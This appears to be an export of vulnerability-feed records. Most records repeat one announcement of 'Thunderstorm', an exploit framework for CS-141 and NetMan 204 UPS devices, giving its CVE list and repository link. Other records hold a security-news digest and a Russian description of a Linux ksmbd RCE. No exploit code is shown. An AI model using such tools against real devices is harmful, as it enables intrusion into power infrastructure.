"8638f7d4-1cbe-4209-a6bf-b93925408fcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "published-proof-of-concept", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/2163", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2023-03-06T18:07:35.000000Z"}, {"uuid": "b7db6320-4616-492a-976f-f7beb535baf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "published-proof-of-concept", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/2163", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2023-03-06T18:07:35.000000Z"}, {"uuid": "6eab213b-aae9-4f16-82dd-e4e8a55afcd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "published-proof-of-concept", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/2163", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2023-03-06T18:07:35.000000Z"}, {"uuid": "9a4f1b34-5f69-4e40-817e-b18a6693bee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "published-proof-of-concept", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/2163", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2023-03-06T18:07:35.000000Z"}, {"uuid": "a75cabda-ff42-4fa1-8467-2d9f865de2f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "published-proof-of-concept", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/2163", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2023-03-06T18:07:35.000000Z"}, {"uuid": "7e1b3f56-8250-4272-b866-1f6553216903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "published-proof-of-concept", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/2163", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2023-03-06T18:07:35.000000Z"}, {"uuid": "82eb5a42-3ff5-4aa7-bf1e-6a42662b6d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "published-proof-of-concept", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/2163", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2023-03-06T18:07:35.000000Z"}, {"uuid": "0590e9b3-47bb-4329-9c13-d556845068a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "published-proof-of-concept", "source": "https://t.me/ETHICALHACKERSCOMMUNITY2/2163", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2023-03-06T18:07:35.000000Z"}, {"uuid": "e77a356f-a938-4d65-9b26-9a524c1d2830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/TopCyberTechNews/256", "content": "Top Security News for 15/02/2023\n\nThreat activity in the industrial sector. New information-stealing malware targets Ukraine. MortalKombat ransomware.\nhttps://thecyberwire.com/podcasts/research-briefing/155/notes \n\nA Different Payload for ManageEngine's CVE-2022-47966\nhttps://www.reddit.com/r/netsec/comments/1127arf/a_different_payload_for_manageengines_cve202247966/ \n\nPYbot DDoS Malware Being Distributed Disguised as a Discord Nitro Code Generator\nhttps://malware.news/t/pybot-ddos-malware-being-distributed-disguised-as-a-discord-nitro-code-generator/67209#post_1 \n\nMeasuring cybersecurity: The what, why, and how\nhttps://www.csoonline.com/article/3687733/measuring-cybersecurity-the-what-why-and-how.html#tk.rss_all \n\nISC Stormcast For Wednesday, February 15th, 2023 https://isc.sans.edu/podcastdetail.html?id=8370, (Wed, Feb 15th)\nhttps://isc.sans.edu/diary/rss/29550 \n\nShould you share passwords with your partner?\nhttps://www.malwarebytes.com/blog/news/2023/02/should-you-share-passwords-with-your-partner \n\nExpel announces MDR for Kubernetes with MITRE ATT&CK framework alignment\nhttps://www.csoonline.com/article/3687677/expel-announces-mdr-for-kubernetes-with-mitre-attandck-framework-alignment.html#tk.rss_all \n\nThe Pixel phones may be getting a long overdue feature\nhttps://malware.news/t/the-pixel-phones-may-be-getting-a-long-overdue-feature/67206#post_1 \n\nEnterpriseDB adds Transparent Data Encryption to PostgreSQL\nhttps://www.infoworld.com/article/3687813/enterprisedb-adds-transparent-data-encryption-to-postgresql.html#tk.rss_all \n\nHow to deal with developers' fatigue? - Having a long list of vulnerabilities to fix\nhttps://www.reddit.com/r/netsec/comments/11291qt/how_to_deal_with_developers_fatigue_having_a_long/ \n\n    \nFollow Top Cyber News at https://t.me/TopCyberTechNews\nFeel free to DM me at https://twitter.com/ShayaFeedman", "creation_timestamp": "2023-02-15T08:00:04.000000Z"}, {"uuid": "2406883f-f8a1-41a1-9fb5-2c1dd9c72950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47629", "type": "published-proof-of-concept", "source": "https://t.me/TopCyberTechNews/229", "content": "Top Security News for 07/01/2023\n\nWhatsApp Introduces Proxy Support to Help Users Bypass Internet Censorship\nhttps://thehackernews.com/2023/01/whatsapp-introduces-proxy-support-to.html \n\nI made an Open Source Browser extension to aid in Threat Investigations!\nhttps://www.reddit.com/r/netsec/comments/1057mto/i_made_an_open_source_browser_extension_to_aid_in/ \n\nAutomotive vulnerabilities discovered.\nhttps://thecyberwire.com/stories/602e4789b3254c9489cc245bc0ef9995/automotive-vulnerabilities-discovered \n\nUpdate on LastPass and Twitter breaches. Vice Society leaks stolen UK school data. Data incident at health organization prompts questions about disclosure rules.\nhttps://thecyberwire.com/newsletters/privacy-briefing/5/4 \n\nI scanned every package on PyPi and found 57 live AWS keys\nhttps://www.reddit.com/r/netsec/comments/10524mo/i_scanned_every_package_on_pypi_and_found_57_live/ \n\nMalware targets 30 unpatched WordPress plugins\nhttps://www.malwarebytes.com/blog/news/2023/01/update-your-wordpress-plugins-now-mass-backdoor-campaign-underway \n\nLatest activity from Turla {Mandiant}\nhttps://www.reddit.com/r/netsec/comments/104zjm8/latest_activity_from_turla_mandiant/ \n\nNew Twitter data dump is a cleaned up version of old Twitter dump\nhttps://www.malwarebytes.com/blog/news/2023/01/new-twitter-data-dump-is-a-cleaned-up-version-of-old-twitter-dump \n\nIgor\u2019s Tip of the Week #122: Manual load\nhttps://malware.news/t/igor-s-tip-of-the-week-122-manual-load/66202#post_1 \n\nVariant analysis of CVE-2022-3515 affecting libksba, which resulted in CVE-2022-47629\nhttps://www.reddit.com/r/netsec/comments/104nnug/variant_analysis_of_cve20223515_affecting_libksba/ \n\n    \nFollow Top Cyber News at https://t.me/TopCyberTechNews\nFeel free to DM me at https://twitter.com/ShayaFeedman", "creation_timestamp": "2023-01-07T08:00:09.000000Z"}, {"uuid": "eebf30df-6f04-41fb-b3a3-266537166082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/poxek/2694", "content": "Linux Kernel ksmbd Use-After-Free RCE\nCVE-2022-47939\n\nCVSS SCORE: 10.0\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Linux Kernel. \u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, \u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c ksmbd.\nKSMBD - \u044d\u0442\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u044f\u0434\u0440\u0430 linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b SMB3 \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u044f\u0434\u0440\u0430 (ksmbd) \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0442\u0438. \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 \u0434\u0435\u043c\u043e\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u043e\u0442\u043e\u043a forker (ksmbd/interface name) \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0440\u0442 445 \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u043d\u0438\u044f SMB-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\u0421\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 SMB2_TREE_DISCONNECT. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430\u0434 \u043d\u0438\u043c. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u044f\u0434\u0440\u0430.\n\n#CVE", "creation_timestamp": "2023-02-09T13:33:38.000000Z"}, {"uuid": "14fc118a-7e7c-407e-9ea1-aeece04110cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://t.me/itsec_news/5762", "content": "\u200b\u26a1\ufe0f\u0421\u0442\u0430\u0440\u044b\u0439 CVE, \u043d\u043e\u0432\u044b\u0439 \u0437\u0430\u0445\u043e\u0434. 69 000 \u0430\u0442\u0430\u043a \u2014 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435\n\n\ud83d\udcac \u041c\u0430\u0440\u0442 2025 \u0433\u043e\u0434\u0430 \u043e\u0437\u043d\u0430\u043c\u0435\u043d\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u043e\u0432\u043e\u0439 \u0432\u0441\u043f\u044b\u0448\u043a\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432, \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u043d\u043e\u0439 \u0441\u0440\u0430\u0437\u0443 \u0432 \u0434\u0432\u0443\u0445 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u2014 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 